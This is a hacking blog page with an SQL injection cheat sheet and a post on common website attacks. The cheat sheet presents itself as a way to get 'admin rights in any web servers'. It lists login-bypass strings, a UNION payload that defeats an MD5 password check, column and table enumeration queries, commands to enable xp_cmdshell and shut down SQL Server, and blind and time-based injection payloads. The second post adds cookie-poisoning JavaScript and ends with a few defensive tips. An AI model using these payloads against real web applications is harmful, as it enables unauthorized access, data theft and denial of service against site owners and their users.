Labels

Popular Posts

Powered by Blogger.

Blogroll

Hacking Cracking Tricks

Recent Comments

BlogRoll

http://www.prcheckingtool.com

Recent Posts

Bookmark  and Share Technology & Science Blogs - BlogCatalog Blog Directory Submit your website to 20 Search Engines - FREE with ineedhits! http://www.prcheckingtool.com Text Back Links Exchange PageHeat Website Value LocalSubmit.com : search engine submissions and website promotion with free advice Internet Blogs Hacking Cracking Tricks

Showing posts with label SQL Injection. Show all posts

SQL Injection Attacks


In the world of hackers and hacking this method of exploiting web based services is very common.As the name SQL
injection(Structural query language) means definitely we are going to use some common queries of SQL a very strong 4GL language which is generally used by data base programmers to manipulate with data base of a system, server and application software’s.hear i will give you some popularly used SQL equerries which helps you to get admin rights in any web servers.
SOME COMMON PASSWORDS
Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks
·      admin’ —
·      admin’ #
·      admin’/*
·      ‘ or 1=1–
·      ‘ or 1=1#
·      ‘ or 1=1/*
·      ‘) or ’1′=’1–
·      ‘) or (’1′=’1–
·      ….
·      Login as different user (SM*)‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–


*Old versions of MySQL doesn’t support union queries

Bypassing second MD5 hash check login screens
If application is first getting the record by user name and then compare returned MD5 with supplied password’s MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)
Username : admin
Password : 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based – Find Columns Names
Finding Column Names with HAVING BY – Error Based (S)
In the same order,
·       HAVING 1=1 —
·      ‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
·      ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 –
·      ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 – and so on
·      If you are not getting any more error then it’s done.


Finding how many columns in SELECT query by ORDER BY (MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
·      ORDER BY 1–
·      ORDER BY 2–
·      ORDER BY N– so on
·      Keep going until get an error. Error means you found the number of selected columns.

SQL Injection in LIMIT (M) or ORDER (MSO)
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection


Shutdown SQL Server (S)
When you really pissed off, ‘;shutdown –


Enabling xp_cmdshell in SQL Server 2005
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
EXEC sp_configure ‘show advanced options’,1
RECONFIGURE
EXEC sp_configure ‘xp_cmdshell’,1
RECONFIGURE


Finding Database Structure in SQL Server (S)
Getting User defined Tables
SELECT name FROM sysobjects WHERE xtype = ‘U’


Getting Column Names
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)


Blind SQL Injections
About Blind SQL Injections
In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ’0:0:10′ in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.


Real and a bit Complex Blind SQL Injection Attack Sample
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.


TRUE and FALSE flags mark queries returned true or false.


TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0×55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0×55)),1,1)),0)>78–


FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0×55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0×55)),1,1)),0)>103–


TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0×55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0×55)),1,1)),0)<103–>FALSE> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0×55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0×55)),1,1)),0)>89–


TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0×55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0×55)),1,1)),0)<89–>FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0×55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0×55)),1,1)),0)>83–


TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0×55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0×55)),1,1)),0)<83–>FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0×55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0×55)),1,1)),0)>80–


FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0×55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0×55)),1,1)),0)<80–>
Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.
Waiting For Blind SQL Injections
First of all use this if it’s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
WAIT FOR DELAY ‘time’ (S)
This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY ’0:0:10′–
Also you can use fractions like this,
WAITFOR DELAY ’0:0:0.51′
Real World Samples
·      Are we ‘sa’ ?if (select user) = ‘sa’ waitfor delay ’0:0:10′
·      ProductID = 1;waitfor delay ’0:0:10′–
·      ProductID =1);waitfor delay ’0:0:10′–
·      ProductID =1′;waitfor delay ’0:0:10′–
·      ProductID =1′);waitfor delay ’0:0:10′–
·      ProductID =1));waitfor delay ’0:0:10′–
·      ProductID =1′));waitfor delay ’0:0:10′–
BENCHMARK() (M)
Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Real World Samples
·      Are we root ? woot!IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
·      Check Table exist in MySQLIF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds) (P)
Sleep for supplied seconds.
·      SELECT pg_sleep(10); 
Sleep 10 seconds.

Common methods to hack a website

Gone are the days when website hacking was a sophisticated art. Today any body can access through
the Internet and start hacking your website. All that is needed is doing a search on google with keywords like “how to hack website”, “hack into a website”, “Hacking a website” etc. The following article is not an effort to teach you website hacking, but it has more to do with raising awareness on some common website hacking methods.



SQL Injection involves entering SQL code into web forms, eg. login fields, or into the browser address field, to access and manipulate the database behind the site, system or application.
When you enter text in the Username and Password fields of a login screen, the data you input is typically inserted into an SQL command. This command checks the data you've entered against the relevant table in the database. If your input matches table/row data, you're granted access (in the case of a login screen). If not, you're knocked back out.

In its simplest form, this is how the SQL Injection works. It's impossible to explain this without reverting to code for just a moment. Don't worry, it will all be over soon.
Suppose we enter the following string in a User name field:

' OR 1=1 double-dash-txt.png 
The authorization SQL query that is run by the server, the command which must be satisfied to allow access, will be something along the lines of:
SELECT * FROM users WHERE username = ‘USRTEXT '
AND password = ‘PASSTEXT
…where USRTEXT and PASSTEXT are what the user enters in the login fields of the web form.
So entering `OR 1=1 — as your username, could result in the following actually being run:
SELECT * FROM users WHERE username = ‘' OR 1=1 — 'AND password = '’
Two things you need to know about this:
['] closes the [user-name] text field.
'double-dash-txt.png' is the SQL convention for Commenting code, and everything after Comment is ignored. So the actual routine now becomes:
SELECT * FROM users WHERE user name = '' OR 1=1
1 is always equal to 1, last time I checked. So the authorization routine is now validated, and we are ushered in the front door to wreck havoc.
Let's hope you got the gist of that, and move briskly on.
Brilliant! I'm gonna go hack me a Bank!
Slow down, cowboy. This half-cooked method won't beat the systems they have in place up at Citibank,
evidently


But the process does serve to illustrate just what SQL Injection is all about — injecting code to manipulate a routine via a form, or indeed via the URL. In terms of login bypass via Injection, the hoary old ' OR 1=1 is just one option. If a hacker thinks a site is vulnerable, there are cheat-sheets all over the web for login strings which can gain access to weak systems. Here are a couple more common strings which are used to dupe SQL validation routines:
username field examples:
  • admin'—
  • ') or ('a'='a
  • ”) or (“a”=”a
  • hi” or “a”=”a
… and so on.

Cross site scripting ( ):

Cross-site scripting or XSS is a threat to a website's security. It is the most common and popular hacking a websiteto gain access information from a user on a website. There are hackers with malicious objectives that utilize this to attack certain websites on the Internet. But mostly good hackers do this to find security holes for websites and help them find solutions. Cross-site scripting is a security loophole on a website that is hard to detect and stop, making the site vulnerable to attacks from malicious hackers. This security threat leaves the site and its users open to identity theft, financial theft and data theft. It would be advantageous for website owners to understand how cross-site scripting works and how it can affect them and their users so they could place the necessary security systems to block cross-site scripting on their website.

Denial of service ( Ddos attack ):

A denial of service attack (DOS) is an attack through which a person can render a system unusable or significantly slow down the system for legitimate users by overloading the resources, so that no one can access it.this is not actually hacking a webite but it is used totake down a website.
If an attacker is unable to gain access to a machine, the attacker most probably will just crash the machine to accomplish a denial of service attack,this one of the most used method for website hacking



Cookie Poisoning:


Well, for a starters i can begin with saying that Cookie Poisoning is alot like SQL Injection

Both have 'OR'1'='1 or maybe '1'='1'

But in cookie poisoning you begin with alerting your cookies

Javascript:alert(document.cookie)

Then you will perharps see "username=JohnDoe" and "password=iloveJaneDoe"

in this case the cookie poisoning could be:

Javascript:void(document.cookie="username='OR'1'='1"); void(document.cookie="password='OR'1'='1");

It is also many versions of this kind... like for example

'

'1'='1'

'OR'1'='1

'OR'1'='1'OR'

and so on...

You may have to try 13 things before you get it completely right...


Password Cracking
Hashed strings can often be deciphered through 'brute forcing'. Bad news, eh? Yes, and particularly if your encrypted passwords/usernames are floating around in an unprotected file somewhere, and some Google hacker comes across it.
You might think that just because your password now looks something like XWE42GH64223JHTF6533H in one of those files, it means that it can't be cracked? Wrong. Tools are freely available which will decipher a certain proportion of hashed and similarly encoded passwords.

Know more about Brute force attack

A Few Defensive Measures

* If you utilize a web content management system, subscribe to the development blog. Update to new versions soon as possible.
* Update all 3rd party modules as a matter of course — any modules incorporating web forms or enabling member file uploads are a potential threat. Module vulnerabilities can offer access to your full database.
* Harden your Web CMS or publishing platform. For example, if you use WordPress, use this guide as a reference.
* If you have an admin login page for your custom built CMS, why not call it 'Flowers.php' or something, instead of “AdminLogin.php” etc.?
* Enter some confusing data into your login fields like the sample Injection strings shown above, and any else which you think might confuse the server. If you get an unusual error message disclosing server-generated code then this may betray vulnerability.
* Do a few Google hacks on your name and your website. Just in case…
* When in doubt, pull the yellow cable out! It won't do you any good, but hey, it rhymes. 

- Copyright © .Hacking Cracking Tricks And Tutorials, Paid Scripts, Latest Exploits, 0Day Vulnerability, - Skyblue - Powered by Blogger - Designed by Johanes Djogan -